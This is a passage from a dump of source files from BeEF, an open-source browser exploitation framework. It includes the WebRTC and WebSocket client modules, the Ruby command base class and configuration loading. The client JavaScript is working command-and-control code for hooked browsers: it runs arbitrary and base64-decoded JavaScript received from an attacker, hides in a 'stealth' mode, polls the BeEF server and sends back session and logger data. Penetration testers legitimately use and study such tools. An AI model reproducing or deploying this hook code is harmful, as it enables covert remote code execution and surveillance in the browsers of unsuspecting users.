{\n            setTimeout(function() {beefrtcs[peerid].goStealth()},beef.updater.xhr_poll_timeout * 0.4);\n        } else {\n            beefrtcs[peerid].goStealth();\n        }\n\n    // The message to come out of stealth\n    } else if (ev2.data == \"!endstealth\") {\n\n      if (rtcstealth != null) {\n        beefrtcs[rtcstealth].sendPeerMsg(\"Coming out of stealth...\");\n        rtcstealth = false;\n      }\n\n    // Command to perform arbitrary JS (while stealthed)\n    } else if ((rtcstealth != false) && (ev2.data.charAt(0) == \"%\")) {\n      beef.debug('message was a command: '+ev2.data.substring(1) + ' .. and I am in stealth mode');\n      beefrtcs[rtcstealth].sendPeerMsg(\"Command result - \" + beefrtcs[rtcstealth].execCmd(ev2.data.substring(1)));\n\n    // Command to perform arbitrary JS (while NOT stealthed)\n    } else if ((rtcstealth == false) && (ev2.data.charAt(0) == \"%\")) {\n      beef.debug('message was a command - we are not in stealth. Command: '+ ev2.data.substring(1));\n      beefrtcs[peerid].sendPeerMsg(\"Command result - \" + beefrtcs[peerid].execCmd(ev2.data.substring(1)));\n\n    // B64d command from the /cmdexec API\n    } else if (ev2.data.charAt(0) == \"@\") {\n      beef.debug('message was a b64d command');\n\n      var fn = new Function(atob(ev2.data.substring(1)));\n      fn();\n      if (rtcstealth != false) { // force stealth back on ?\n        beef.updater.execute_commands(); // FORCE execution while stealthed\n        beef.updater.lock = true;\n      }\n\n\n    // Just a plain text message .. (while stealthed)\n    } else if (rtcstealth != false) {\n      beef.debug('received a message, apparently we are in stealth - so just send it back to peer['+rtcstealth+']');\n      beefrtcs[rtcstealth].sendPeerMsg(ev2.data);\n\n    // Just a plan text message (while NOT stealthed)\n    } else {\n      beef.debug('received a message from peer['+peerid+'] - sending it back to beef');\n      beef.net.send('/rtcmessage',0,{peerid: peerid, message: ev2.data});\n    }\n  } \n}\n\n/**\n * How the browser executes received JS (this is pretty hacky)\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.execCmd = function(input) {\n  var fn = new Function(input);\n  var res = fn();\n  return res.toString();\n}\n\n/**\n * Shortcut function to SEND a data messsage\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.sendPeerMsg = function(msg) {\n  beef.debug('sendPeerMsg to ' + this.peerid);\n  this.dataChannel.send(msg);\n}\n\n/**\n * Try and initiate, will check that system hasn't started, and that signaling is ready, and that TURN servers are ready\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.maybeStart = function() {\n  beef.debug(\"maybe starting ... \");\n\n  if (!this.started && this.signalingReady && this.turnDone) {\n    beef.debug('Creating PeerConnection.');\n    this.createPeerConnection();\n\n    this.started = true;\n\n    if (this.initiator) {\n      beef.debug(\"Making the call now .. bzz bzz\");\n      this.doCall();\n    } else {\n      beef.debug(\"Receiving a call now .. somebuddy answer da fone?\");\n      this.calleeStart();\n    }\n\n  } else {\n    beef.debug(\"Not ready to start just yet..\");\n  }\n}\n\n/** \n * RTC - create an offer - the caller runs this, while the receiver runs calleeStart()\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.doCall = function() {\n  var constraints = this.mergeConstraints(this.offerConstraints, this.sdpConstraints);\n  var self = this;\n  globalrtc[this.peerid].createOffer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, constraints);\n  beef.debug('Sending offer to peer, with constraints: \\n' +\n             '  \\'' + JSON.stringify(constraints) + '\\'.');\n}\n\n/**\n * Helper method to merge SDP constraints\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.mergeConstraints = function(cons1, cons2) {\n  var merged = cons1;\n  for (var name in cons2.mandatory) {\n    merged.mandatory[name] = cons2.mandatory[name];\n  }\n  merged.optional.concat(cons2.optional);\n  return merged;\n}\n\n/**\n * Sets the local RTC session description, sends this information back (via signalling)\n * The caller uses this to set it's local description, and it then has to send this to the peer (via signalling)\n * The receiver uses this information too - and vice-versa - hence the signaling\n * \n */\nBeefwebrtc.prototype.setLocalAndSendMessage = function(sessionDescription) {\n  var peerid = null;\n\n  for (var k in beefrtcs) {\n    if (beefrtcs[k].allgood === false) {\n      peerid = beefrtcs[k].peerid;\n    }\n  }\n  beef.debug(\"For peer: \" + peerid + \" Running setLocalAndSendMessage...\");\n\n  globalrtc[peerid].setLocalDescription(sessionDescription, onSetSessionDescriptionSuccess, onSetSessionDescriptionError);\n  beefrtcs[peerid].sendSignalMsg(sessionDescription);\n\n  function onSetSessionDescriptionSuccess() {\n    beef.debug('Set session description success.');\n  }\n\n  function onSetSessionDescriptionError() {\n    beef.debug('Failed to set session description');\n  }\n}\n\n/**\n * If the browser can't build an SDP\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.onCreateSessionDescriptionError = function(error) {\n  beef.debug('Failed to create session description: ' + error.toString());\n}\n\n/**\n * If the browser successfully sets a remote description\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.onSetRemoteDescriptionSuccess = function() {\n  beef.debug('Set remote session description successfully');\n}\n\n/**\n * Check for messages - which includes signaling from a calling peer - this gets kicked off in maybeStart()\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.calleeStart = function() {\n  // Callee starts to process cached offer and other messages.\n  while (this.msgQueue.length > 0) {\n    this.processSignalingMessage(this.msgQueue.shift());\n  }\n}\n\n/** \n * Process messages, this is how we handle the signaling messages, such as candidate info, offers, answers\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.processSignalingMessage = function(message) {\n  if (!this.started) {\n    beef.debug('peerConnection has not been created yet!');\n    return;\n  }\n\n  if (message.type === 'offer') {\n    beef.debug(\"Processing signalling message: OFFER\");\n    if (navigator.mozGetUserMedia) { // Mozilla shim fuckn shit - since the new\n                                     // version of FF - which no longer works\n        beef.debug(\"Moz shim here\");\n        globalrtc[this.peerid].setRemoteDescription(\n            new RTCSessionDescription(message),\n            function() {\n              // globalrtc[this.peerid].createAnswer(function(answer) {\n              //   globalrtc[this.peerid].setLocalDescription(\n\n              var peerid = null;\n\n              for (var k in beefrtcs) {\n                if (beefrtcs[k].allgood === false) {\n                  peerid = beefrtcs[k].peerid;\n                }\n              }\n\n              globalrtc[peerid].createAnswer(function(answer) {\n                globalrtc[peerid].setLocalDescription(\n                    new RTCSessionDescription(answer),\n                    function() {\n                      beefrtcs[peerid].sendSignalMsg(answer);\n                    },function(error) {\n                      beef.debug(\"setLocalDescription error: \" + error);\n                    });\n              },function(error) {\n                beef.debug(\"createAnswer error: \" +error);\n              });\n            },function(error) {\n              beef.debug(\"setRemoteDescription error: \" + error);\n            });\n                          \n    } else {\n      this.setRemote(message);\n      this.doAnswer();\n    }\n  } else if (message.type === 'answer') {\n    beef.debug(\"Processing signalling message: ANSWER\");\n    if (navigator.mozGetUserMedia) { // terrible moz shim - as for the offer\n        beef.debug(\"Moz shim here\");\n        globalrtc[this.peerid].setRemoteDescription(\n          new RTCSessionDescription(message),\n          function() {},\n          function(error) {\n            beef.debug(\"setRemoteDescription error: \" + error);\n          });\n    } else {\n      this.setRemote(message);\n    }\n  } else if (message.type === 'candidate') {\n    beef.debug(\"Processing signalling message: CANDIDATE\");\n    var candidate = new RTCIceCandidate({sdpMLineIndex: message.label,\n                                         candidate: message.candidate});\n    this.noteIceCandidate(\"Remote\", this.iceCandidateType(message.candidate));\n    globalrtc[this.peerid].addIceCandidate(candidate, this.onAddIceCandidateSuccess, this.onAddIceCandidateError);\n  } else if (message.type === 'bye') {\n    this.onRemoteHangup();\n  }\n}\n\n/**\n * Used to set the RTC remote session\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.setRemote = function(message) {\n    globalrtc[this.peerid].setRemoteDescription(new RTCSessionDescription(message),\n       this.onSetRemoteDescriptionSuccess, this.onSetSessionDescriptionError);\n}\n\n/** \n * As part of the processSignalingMessage function, we check for 'offers' from peers. If there's an offer, we answer, as below\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.doAnswer = function() {\n  beef.debug('Sending answer to peer.');\n  globalrtc[this.peerid].createAnswer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, this.sdpConstraints);\n}\n\n/** \n * Helper method to determine what kind of ICE Candidate we've received\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.iceCandidateType = function(candidateSDP) {\n  if (candidateSDP.indexOf(\"typ relay \") >= 0)\n    return \"TURN\";\n  if (candidateSDP.indexOf(\"typ srflx \") >= 0)\n    return \"STUN\";\n  if (candidateSDP.indexOf(\"typ host \") >= 0)\n    return \"HOST\";\n  return \"UNKNOWN\";\n}\n\n/**\n * Event handler for successful addition of ICE Candidates\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.onAddIceCandidateSuccess = function() {\n  beef.debug('AddIceCandidate success.');\n}\n\n/**\n * Event handler for unsuccessful addition of ICE Candidates\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.onAddIceCandidateError = function(error) {\n  beef.debug('Failed to add Ice Candidate: ' + error.toString());\n}\n\n/** \n * If a peer hangs up (we bring down the peerconncetion via the stop() method)\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.onRemoteHangup = function() {\n  beef.debug('Session terminated.');\n  this.initiator = 0;\n  // transitionToWaiting();\n  this.stop();\n}\n\n/** \n * Bring down the peer connection\n * @memberof beef.webrtc\n */\nBeefwebrtc.prototype.stop = function() {\n  this.started = false; // we're no longer started\n  this.signalingReady = false; // signalling isn't ready\n  globalrtc[this.peerid].close(); // close the RTCPeerConnection option\n  globalrtc[this.peerid] = null; // Remove it\n  this.msgQueue.length = 0; // clear the msgqueue\n  rtcstealth = false; // no longer stealth\n  this.allgood = false; // allgood .. NAH UH\n}\n\n/**\n * The actual beef.webrtc wrapper - this exposes only two functions directly - start, and status\n * These are the methods which are executed via the custom extension of the hook.js\n * @memberof beef.webrtc\n */\nbeef.webrtc = {\n  // Start the RTCPeerConnection process\n  start: function(initiator,peer,turnjson,stunservers,verbose) {\n    if (peer in beefrtcs) {\n      // If the RTC peer is not in a good state, try kickng it off again\n      // This is possibly not the correct way to handle this issue though :/ I.e. we'll now have TWO of these objects :/\n      if (beefrtcs[peer].allgood == false) {\n        beefrtcs[peer] = new Beefwebrtc(initiator, peer, turnjson, stunservers, verbose);\n        beefrtcs[peer].initialize();\n      }\n    } else {\n      // Standard behaviour for new peer connections\n      beefrtcs[peer] = new Beefwebrtc(initiator,peer,turnjson, stunservers, verbose);\n      beefrtcs[peer].initialize();\n    }\n  },\n\n  // Check the status of all my peers .. \n  status: function(me) {\n    if (Object.keys(beefrtcs).length > 0) {\n      for (var k in beefrtcs) {\n        if (beefrtcs.hasOwnProperty(k)) {\n          beef.net.send('/rtcmessage',0,{peerid: k, message: \"Status checking - allgood: \" + beefrtcs[k].allgood});\n        }\n      }\n    } else {\n      beef.net.send('/rtcmessage',0,{peerid: me, message: \"No peers?\"});\n    }\n  }\n}\nbeef.regCmp('beef.webrtc');\n"
  },
  {
    "path": "core/main/client/websocket.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n\n/**\n * Manage the WebSocket communication channel.\n * This channel is much faster and responsive, and it's used automatically\n * if the browser supports WebSockets AND beef.http.websocket.enable = true.\n * @namespace beef.websocket\n */\n\nbeef.websocket = {\n\n    socket:null,\n    ws_poll_timeout: \"<%= @ws_poll_timeout %>\",\n    ws_connect_timeout: \"<%= @ws_connect_timeout %>\",\n\n    /**\n     * Initialize the WebSocket client object.\n     * Note: use WebSocketSecure only if the hooked origin is under https.\n     * Mixed-content in WS is quite different from a non-WS context.\n     */\n    init:function () {\n        var webSocketServer = beef.net.host;\n        var webSocketPort = \"<%= @websocket_port %>\";\n        var webSocketSecure = \"<%= @websocket_secure %>\";\n        var protocol = \"ws://\";\n\n        if(webSocketSecure && window.location.protocol==\"https:\"){\n            protocol = \"wss://\";\n            webSocketPort= \"<%= @websocket_sec_port %>\";\n        }\n\n        if (beef.browser.isFF() && !!window.MozWebSocket) {\n            beef.websocket.socket = new MozWebSocket(protocol + webSocketServer + \":\" + webSocketPort + \"/\");\n        }else{\n            beef.websocket.socket = new WebSocket(protocol + webSocketServer + \":\" + webSocketPort + \"/\");\n        }\n\n    },\n\n    /**\n     * Send Hello message to the BeEF server and start async polling.\n     */\n    start:function () {\n        new beef.websocket.init();\n        this.socket.onopen = function () {\n            beef.websocket.send('{\"cookie\":\"' + beef.session.get_hook_session_id() + '\"}');\n            beef.websocket.alive();\n        };\n\n        this.socket.onmessage = function (message) {\n            // Data coming from the WebSocket channel is either of String, Blob or ArrayBufferdata type.\n            // That's why it needs to be evaluated first. Using Function is a bit better than pure eval().\n            // It's not a big deal anyway, because the eval'ed data comes from BeEF itself, so it is implicitly trusted.\n            new Function(message.data)();\n        };\n\n        this.socket.onclose = function () {\n            setTimeout(function(){beef.websocket.start()}, 5000);\n        };\n    },\n\n    /**\n     * Send data back to BeEF. This is basically the same as beef.net.send,\n     * but doesn't queue commands.\n     * Example usage:\n     * beef.websocket.send('{\"handler\" : \"' + handler + '\", \"cid\" :\"' + cid +\n     * '\", \"result\":\"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +\n     * '\",\"callback\": \"' + callback + '\",\"bh\":\"' + beef.session.get_hook_session_id() + '\" }');\n     */\n    send:function (data) {\n        try {\n            this.socket.send(data);\n        }catch(err){}\n    },\n\n    /**\n     * Polling mechanism, to notify the BeEF server that the browser is still hooked,\n     * and the WebSocket channel still alive.\n     * todo: there is probably a more efficient way to do this. Double-check WebSocket API.\n     */\n    alive: function (){\n        try {\n            if (beef.logger.running) {\n                beef.logger.queue();\n            }\n        } catch(err){}\n\n        beef.net.flush();\n\n        beef.websocket.send('{\"alive\":\"'+beef.session.get_hook_session_id()+'\"}');\n        setTimeout(\"beef.websocket.alive()\", parseInt(beef.websocket.ws_poll_timeout));\n    }\n};\n\nbeef.regCmp('beef.websocket');\n"
  },
  {
    "path": "core/main/command.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nmodule BeEF\n  module Core\n    #\n    # @note This module contains a list of utils functions to use when writing commands\n    #\n    module CommandUtils\n      #\n      # Format a string to support multiline in javascript.\n      # @param [String] text String to convert\n      #\n      # @return [String] Formatted string\n      #\n      def format_multiline(text)\n        text.gsub(/\\n/, '\\n')\n      end\n    end\n\n    #\n    # @note The Command Module Context is being used when evaluating code in eruby.\n    #   In other words, we use that code to add funky functions to the\n    #   javascript templates of our commands.\n    #\n    class CommandContext < Erubis::Context\n      include BeEF::Core::CommandUtils\n      #\n      # Constructor\n      # @param [Hash] hash\n      #\n      def initialize(hash = nil)\n        super(hash)\n      end\n    end\n\n    #\n    # @note This class is the base class for all command modules in the framework.\n    #       Two instances of this object are created during the execution of command module.\n    #\n    class Command\n      attr_reader :datastore, :path, :default_command_url, :beefjs_components, :friendlyname,\n                  :config\n      attr_accessor :zombie, :command_id, :session_id\n\n      include BeEF::Core::CommandUtils\n      include BeEF::Core::Constants::Browsers\n      include BeEF::Core::Constants::CommandModule\n\n      #\n      # Super class controller\n      #\n      # @param [String] key command module key\n      #\n      def initialize(key)\n        @config = BeEF::Core::Configuration.instance\n\n        @key = key\n        @datastore = {}\n        @friendlyname = @config.get(\"beef.module.#{key}.name\")\n        @output = ''\n        @path = @config.get(\"beef.module.#{key}.path\")\n        @default_command_url = config.get(\"beef.module.#{key}.mount\")\n        @id = @config.get(\"beef.module.#{key}.db.id\")\n        @auto_update_zombie = false\n        @results = {}\n        @beefjs_components = {}\n      end\n\n      #\n      # This function is called just before the instructions are sent to hooked browser.\n      #\n      def pre_send; end\n\n      #\n      # Callback method. This function is called when the hooked browser sends results back.\n      #\n      def callback; end\n\n      #\n      # If the command requires some data to be sent back, this function will process them.\n      # @param [] head\n      # @param [Hash] params Hash of parameters\n      # @todo Determine argument \"head\" type\n      #\n      def process_zombie_response(head, params); end\n\n      #\n      # Returns true if the command needs configurations to work. False if not.\n      # @deprecated This command should not be used since the implementation of the new configuration system\n      #\n      def needs_configuration?\n        !@datastore.nil?\n      end\n\n      #\n      # Returns information about the command in a JSON format.\n      # @return [String] JSON formatted string\n      #\n      def to_json(*_args)\n        {\n          'Name' => @friendlyname,\n          'Description' => BeEF::Core::Configuration.instance.get(\"beef.module.#{@key}.description\"),\n          'Category' => BeEF::Core::Configuration.instance.get(\"beef.module.#{@key}.category\"),\n          'Data' => BeEF::Module.get_options(@key)\n        }.to_json\n      end\n\n      #\n      # Builds the 'datastore' attribute of the command which is used to generate javascript code.\n      # @param [Hash] data Data to be inserted into the datastore\n      # @todo TODO Confirm argument \"data\" type\n      #\n      def build_datastore(data)\n        @datastore = JSON.parse data\n      rescue StandardError => e\n        print_error \"Could not build datastore: #{e.message}\"\n      end\n\n      #\n      # Sets the datastore for the callback function. This function is meant to be called by the CommandHandler\n      # @param [Hash] http_params HTTP parameters\n      # @param [Hash] http_headers HTTP headers\n      #\n      def build_callback_datastore(result, command_id, beefhook, http_params, http_headers)\n        @datastore = { 'http_headers' => {} } # init the datastore\n\n        if !http_params.nil? && !http_headers.nil?\n          # get, check and add the http_params to the datastore\n          http_params.keys.each do |http_params_key|\n            unless BeEF::Filters.is_valid_command_module_datastore_key? http_params_key\n              print_error 'http_params_key is invalid'\n              return\n            end\n\n            http_params_value = Erubis::XmlHelper.escape_xml http_params[http_params_key]\n            unless BeEF::Filters.is_valid_command_module_datastore_param?(http_params_value)\n              print_error 'http_params_value is invalid'\n              return\n            end\n\n            # add the checked key and value to the datastore\n            @datastore[http_params_key] = http_params_value\n          end\n\n          # get, check and add the http_headers to the datastore\n          http_headers.keys.each do |http_header_key|\n            unless BeEF::Filters.is_valid_command_module_datastore_key? http_header_key\n              print_error 'http_header_key is invalid'\n              return\n            end\n\n            http_header_value = Erubis::XmlHelper.escape_xml http_headers[http_header_key][0]\n            unless BeEF::Filters.is_valid_command_module_datastore_param? http_header_value\n              print_error 'http_header_value is invalid'\n              return\n            end\n\n            # add the checked key and value to the datastore\n            @datastore['http_headers'][http_header_key] = http_header_value\n          end\n        end\n\n        @datastore['results'] = result\n        @datastore['cid'] = command_id\n        @datastore['beefhook'] = beefhook\n      end\n\n      #\n      # Returns the output of the command. These are the actual instructions sent to the browser.\n      # @return [String] The command output\n      #\n      def output\n        f = \"#{@path}command.js\"\n        unless File.exist? f\n          print_error \"File does not exist: #{f}\"\n          return\n        end\n\n        command = BeEF::Core::Models::Command.find(@command_id)\n\n        @eruby = Erubis::FastEruby.new(File.read(f))\n\n        # data = BeEF::Core::Configuration.instance.get \"beef.module.#{@key}\"\n        cc = BeEF::Core::CommandContext.new\n        cc['command_url'] = @default_command_url\n        cc['command_id'] = @command_id\n        JSON.parse(command['data']).each do |v|\n          cc[v['name']] = v['value']\n        end\n\n        execute if respond_to?(:execute)\n\n        @output = @eruby.evaluate cc\n        @output\n      end\n\n      # Saves the results received from the hooked browser\n      # @param [Hash] results Results from hooked browser\n      def save(results)\n        @results = results\n      end\n\n      #\n      # If nothing else than the file is specified,\n      # the function will map the file to a random path without any extension.\n      #\n      # @param [String] file File to be mounted\n      # @param [String] path URL path to mounted file\n      # @param [String] extension URL extension\n      # @param [Integer] count The amount of times this file can be accessed before being automatically unmounted\n      # @deprecated This function is possibly deprecated in place of the API\n      #\n      def map_file_to_url(file, path = nil, extension = nil, count = 1)\n        BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(file, path, extension, count)\n      end\n\n      #\n      # Tells the framework to load a specific module of the BeEFJS library that the command will be using.\n      # @param [String] component String of BeEFJS component to load\n      # @note Example: use 'beef.net.local'\n      #\n      def use(component)\n        return if @beefjs_components.include? component\n\n        component_path = '/' + component\n        component_path.gsub!(/beef./, '')\n        component_path.gsub!(/\\./, '/')\n        component_path.replace \"#{$root_dir}/core/main/client/#{component_path}.js\"\n\n        raise \"Invalid beefjs component for command module #{@path}\" unless File.exist? component_path\n\n        @beefjs_components[component] = component_path\n      end\n\n      # @todo TODO Document\n      def oc_value(name)\n        option = BeEF::Core::Models::OptionCache.where(name: name).first\n        return nil unless option\n\n        option.value\n      end\n\n      # @todo TODO Document\n      def apply_defaults\n        @datastore.each do |opt|\n          opt['value'] = oc_value(opt['name']) || opt['value']\n        end\n      end\n\n      @use_template\n      @eruby\n      @update_zombie\n      @results\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/configuration.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nmodule BeEF\n  module Core\n    class Configuration\n      attr_accessor :config\n\n      # antisnatchor: still a singleton, but implemented by hand because we want to have only one instance\n      # of the Configuration object while having the possibility to specify a parameter to the constructor.\n      # This is  why we don't use anymore the default Ruby implementation -> include Singleton\n      def self.instance\n        @@instance\n      end\n\n      # Loads the default configuration system\n      # @param [String] configuration_file Configuration file to be loaded,\n      #        by default loads $root_dir/config.yaml\n      def initialize(config)\n        raise TypeError, \"'config' needs to be a string\" unless config.is_a?(String)\n        raise TypeError, \"Configuration file '#{config}' cannot be found\" unless File.exist? config\n\n        begin\n          # open base config\n          @config = load(config)\n          @config.default = nil\n          @@config = config\n        rescue StandardError => e\n          print_error \"Fatal Error: cannot load configuration file '#{config}' : #{e.message}\"\n          print_more e.backtrace\n          exit(1)\n        end\n\n        @@instance = self\n      end\n\n      # Loads yaml file\n      # @param [String] file YAML file to be loaded\n      # @return [Hash] YAML formatted hash\n      def load(file)\n        return nil unless File.exist?(file)\n        YAML.safe_load(File.binread(file))\n      end\n\n      #\n      # @note balidate the configuration file\n      #\n      def validate\n        if @config.empty?\n          print_error 'Configuration file is empty'\n          return\n        end\n\n        if @config['beef'].nil?\n          print_error \"Configuration file is malformed: 'beef' is nil\"\n          return\n        end\n\n        if @config['beef']['credentials'].nil?\n          print_error \"Configuration file is malformed: 'beef.credentials' is nil\"\n          return\n        end\n\n        if @config['beef']['http'].nil?\n          print_error \"Configuration file is malformed: 'beef.http' is nil\"\n          return\n        end\n\n        return unless validate_public_config_variable?(@config)\n\n        # Note for developers:\n        # The configuration path 'beef.http.public_port' is deprecated.\n        # Use the new format for public_port variables as described in the BeEF project documentation.\n        # Refer to the BeEF configuration guide for the web server configuration details:\n        # https://github.com/beefproject/beef/wiki/Configuration#web-server-configuration\n        if @config['beef']['http']['public_port']\n          return\n        end\n\n        true\n      end\n\n      #\n      # Returns the configuration value for the http server host\n      # If nothing is set it should default to 0.0.0.0 (all interfaces)\n      def local_host\n        get('beef.http.host') || '0.0.0.0'\n      end\n\n      #\n      # Returns the configuration value for the http server port\n      # If nothing is set it should default to 3000\n      def local_port\n        get('beef.http.port') || '3000'\n      end\n\n      #\n      # Return the local protocol\n      # if nothing is set default to http\n      def local_proto\n        local_https_enabled ? 'https' : 'http'\n      end\n\n      #\n      # Returns the configuration value for the local https enabled\n      # If nothing is set it should default to false\n      def local_https_enabled\n        get('beef.http.https.enable') || false\n      end\n\n      #\n      # Returns the configuration value for the http server host\n      def public_host\n        get('beef.http.public.host')\n      end\n\n      #\n      # Returns the beef host which is used by external resources\n      # e.g. hooked browsers\n      def beef_host\n        public_host || local_host\n      end\n\n      #\n      # Returns the beef port which is used by external resource\n      # e.g. hooked browsers\n      def beef_port\n        public_port || local_port\n      end\n\n      def public_enabled?\n        !get('beef.http.public.host').nil?\n      end\n\n      #\n      # Returns the beef protocol that is used by external resources\n      # e.g. hooked browsers\n      def beef_proto\n        if public_enabled? && public_https_enabled?\n          'https'\n        elsif public_enabled? && !public_https_enabled?\n          'http'\n        elsif !public_enabled?\n          local_proto\n        end\n      end\n\n      #\n      # Returns the beef scheme://host:port for external resources\n      # e.g. hooked browsers\n      def beef_url_str\n        \"#{beef_proto}://#{beef_host}:#{beef_port}\"\n      end\n\n      # Returns the hook path value stored in the config file\n      #\n      # @return [String] hook file path\n      def hook_file_path\n        get('beef.http.hook_file') || '/hook.js'\n      end\n\n      # Returns the url to the hook file\n      #\n      # @return [String] the url string\n      def hook_url\n        \"#{beef_url_str}#{hook_file_path}\"\n      end\n\n      # Returns the configuration value for the http server port\n      # If nothing is set it should default to 3000\n      def public_port\n        return get('beef.http.public.port') unless get('beef.http.public.port').nil?\n\n        return '443' if public_https_enabled?\n        return '80' unless public_host.nil?\n\n        nil\n      end\n\n      #\n      # Returns the configuration value for the local https enabled\n      # If nothing is set it should default to false\n      def public_https_enabled?\n        get('beef.http.public.https') || false\n      end\n\n      #\n      # Returns the value of a selected key in the configuration file.\n      # @param [String] key Key of configuration item\n      # @return [Hash|String] The resulting value stored against the 'key'\n      #\n      def get(key)\n        subkeys = key.split('.')\n        lastkey = subkeys.pop\n        subhash = subkeys.inject(@config) do |hash, k|\n          hash[k]\n        end\n        return nil if subhash.nil?\n\n        subhash.key?(lastkey) ? subhash[lastkey] : nil\n      end\n\n      #\n      # Sets the give key value pair to the config instance\n      # @param [String] key The configuration key\n      # @param value The value to be stored against the 'key'\n      # @return [Boolean] If the store procedure was successful\n      #\n      def set(key, value)\n        subkeys = key.split('.').reverse\n        return false if subkeys.empty?\n\n        hash = { subkeys.shift.to_s => value }\n        subkeys.each { |v| hash = { v.to_s => hash } }\n        @config = @config.deep_merge hash\n        true\n      end\n\n      #\n      # Clears the given key hash\n      # @param [String] key Configuration key to be cleared\n      # @return [Boolean] If the configuration key was cleared\n      #\n      def clear(key)\n        subkeys = key.split('.')\n        return false if subkeys.empty?\n\n        lastkey = subkeys.pop\n        hash = @config\n        subkeys.each { |v| hash = hash[v] }\n        hash.delete(lastkey).nil? ? false : true\n      end\n\n      #\n      # Load extensions configurations\n      #\n      def load_extensions_config\n        set('beef.extension', {})\n        Dir.glob(\"#{$root_dir}/extensions/*/config.yaml\") do |cf|\n          y = load(cf)\n          if y.nil?\n            print_error \"Unable to load extension configuration '#{cf}'\"\n            next\n          end\n\n          y['beef']['extension'][y['beef']['extension'].keys.first]['path'] = cf.gsub(/config\\.yaml/, '').gsub(%r{#{$root_dir}/}, '')\n          @config = y.deep_merge(@config)\n        end\n      end\n\n      #\n      # Load module configurations\n      #\n      def load_modules_config\n        set('beef.module', {})\n        # support nested sub-categories, like browser/hooked_origin/ajax_fingerprint\n        module_configs = File.join(\"#{$root_dir}/modules/**\", 'config.yaml')\n        Dir.glob(module_configs) do |cf|\n          y = load(cf)\n          if y.nil?\n            print_error \"Unable to load module configuration '#{cf}'\"\n            next\n          end\n\n          y['beef']['module'][y['beef']['module'].keys.first]['path'] = cf.gsub('config.yaml', '').gsub(%r{#{$root_dir}/}, '')\n          @config = y.deep_merge @config\n          # API call for post module config load\n          BeEF::API::Registrar.instance.fire(\n            BeEF::API::Configuration,\n            'module_configuration_load',\n            y['beef']['module'].keys.first\n          )\n        end\n      end\n\n      private\n\n      # Note for developers:\n      # The configuration path 'beef.http.public' is deprecated.\n      # Use the new format for public variables as described in the BeEF project documentation.\n      # Refer to the BeEF configuration guide for the web server configuration details:\n      # https://github.com/beefproject/beef/wiki/Configuration#web-server-configuration\n      def validate_public_config_variable?(config)\n        return true if config['beef']['http']['public'].is_a?(Hash) ||\n                       config['beef']['http']['public'].is_a?(NilClass)\n\n        false\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/console/banners.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Core\n    module Console\n      module Banners\n        class << self\n          attr_accessor :interfaces\n\n          #\n          # Prints BeEF's ascii art\n          #\n          def print_ascii_art\n            if File.exist?('core/main/console/beef.ascii')\n              File.open('core/main/console/beef.ascii', 'r') do |f|\n                while line = f.gets\n                  puts line\n                end\n              end\n            end\n          end\n\n          #\n          # Prints BeEF's welcome message\n          #\n          def print_welcome_msg\n            config = BeEF::Core::Configuration.instance\n            version = config.get('beef.version')\n            print_info \"Browser Exploitation Framework (BeEF) #{version}\"\n            data = \"Twit: @beefproject\\n\"\n            data += \"Site: https://beefproject.com\\n\"\n            # data += \"Blog: http://blog.beefproject.com\\n\"\n            data += \"Wiki: https://github.com/beefproject/beef/wiki\\n\"\n            print_more data\n            print_info 'Project Creator: ' + 'Wade Alcorn'.red + ' (@WadeAlcorn)'\n          end\n\n          #\n          # Prints the number of network interfaces beef is operating on.\n          # Looks like that:\n          #\n          # [14:06:48][*] 5 network interfaces were detected.\n          #\n          def print_network_interfaces_count\n            # get the configuration information\n            configuration = BeEF::Core::Configuration.instance\n            # local host\n            beef_host = configuration.local_host\n\n            # create an array of the interfaces the framework is listening on\n            if beef_host == '0.0.0.0' # the framework will listen on all interfaces\n              interfaces = Socket.ip_address_list.map { |x| x.ip_address if x.ipv4? }\n              interfaces.delete_if { |x| x.nil? } # remove if the entry is nill\n            else # the framework will listen on only one interface\n              interfaces = [beef_host]\n            end\n\n            self.interfaces = interfaces\n\n            # output the banner to the console\n            print_info \"#{interfaces.count} network interfaces were detected.\"\n          end\n\n          #\n          # Prints the route to the network interfaces beef has been deployed on.\n          # Looks like that:\n          #\n          # [14:06:48][+] running on network interface: 192.168.255.1\n          # [14:06:48]    |   Hook URL: http://192.168.255.1:3000/hook.js\n          # [14:06:48]    |   UI URL:   http://192.168.255.1:3000/ui/panel\n          # [14:06:48][+] running on network interface: 127.0.0.1\n          # [14:06:48]    |   Hook URL: http://127.0.0.1:3000/hook.js\n          # [14:06:48]    |   UI URL:   http://127.0.0.1:3000/ui/panel\n          #\n          def print_network_interfaces_routes\n            configuration = BeEF::Core::Configuration.instance\n            # 